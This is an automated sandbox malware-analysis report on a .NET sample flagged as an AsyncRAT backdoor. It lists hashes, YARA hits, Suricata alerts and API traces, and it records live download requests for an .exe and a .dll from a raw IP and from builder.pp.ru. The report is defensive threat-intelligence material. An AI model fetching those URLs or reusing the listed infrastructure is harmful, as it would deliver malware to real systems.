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DONBUILD.exe

Generic Malware UPX PE32 PE File .NET EXE
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6402 Sept. 8, 2021, 10:04 a.m. Sept. 8, 2021, 10:11 a.m.
Size 15.7KB
Type PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5 54e4176aa7edcbc7ed79e0080422998e
SHA256 9607df8f5c805b50ebd812273fe7a4018a7b344b6ac7a01996e3f7f9edd82221
CRC32 CD7209AD
ssdeep 192:Jzfgd8zpaEMU9encK5O3lDWpHrDWpHE7x0gZHSVLRjt8:JzmSpMUQD0DGrDGuph2O
PDB Path c:\Users\crypt\Desktop\cryptor\output\DONBUILD.pdb
Yara
  • PE_Header_Zero - PE File Signature
  • Generic_Malware_Zero - Generic Malware
  • UPX_Zero - UPX packed file
  • IsPE32 - (no description)
  • Is_DotNET_EXE - (no description)
  • Win_Backdoor_AsyncRAT_Zero - Win Backdoor AsyncRAT

Name Response Post-Analysis Lookup
builder.pp.ru
A 185.244.41.39
185.244.41.39
IP Address Status Action
164.124.101.2 Active Moloch
185.244.41.39 Active Moloch
95.215.205.85 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.102:49165 -> 95.215.205.85:80 2016141 ET INFO Executable Download from dotted-quad Host A Network Trojan was detected
TCP 192.168.56.102:49164 -> 185.244.41.39:443 906200022 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined

Suricata TLS

Flow Issuer Subject Fingerprint
TLS 1.2
192.168.56.102:49164
185.244.41.39:443 		C=US, O=Let's Encrypt, CN=R3 CN=builder.pp.ru f5:a6:86:aa:ac:60:8d:af:fa:e4:83:56:09:f9:43:62:e0:34:80:e8

Time & API Arguments Status Return Repeated

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00365ad8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00365b18
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00365b18
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
pdb_path c:\Users\crypt\Desktop\cryptor\output\DONBUILD.pdb
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
suspicious_features GET method with no useragent header, Connection to IP address suspicious_request GET http://95.215.205.85/638394261.exe
suspicious_features GET method with no useragent header suspicious_request GET https://builder.pp.ru/testqcwqebqweqwe.dll
request GET http://95.215.205.85/638394261.exe
request GET https://builder.pp.ru/testqcwqebqweqwe.dll
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 1852
region_size: 1310720
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x006c0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1852
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x007c0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1852
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x731a1000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1852
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x731a2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1852
region_size: 1310720
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00c30000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1852
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00d30000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1852
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00552000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1852
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00595000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1852
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0059b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1852
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00597000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1852
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0056c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1852
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00710000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1852
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0055a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1852
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0058a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1852
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00587000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1852
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00586000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1852
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0058b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1852
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0056a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
buffer Buffer with sha1: 42cff244a035de77d40f8c6351519e74f8ed0620
host 95.215.205.85
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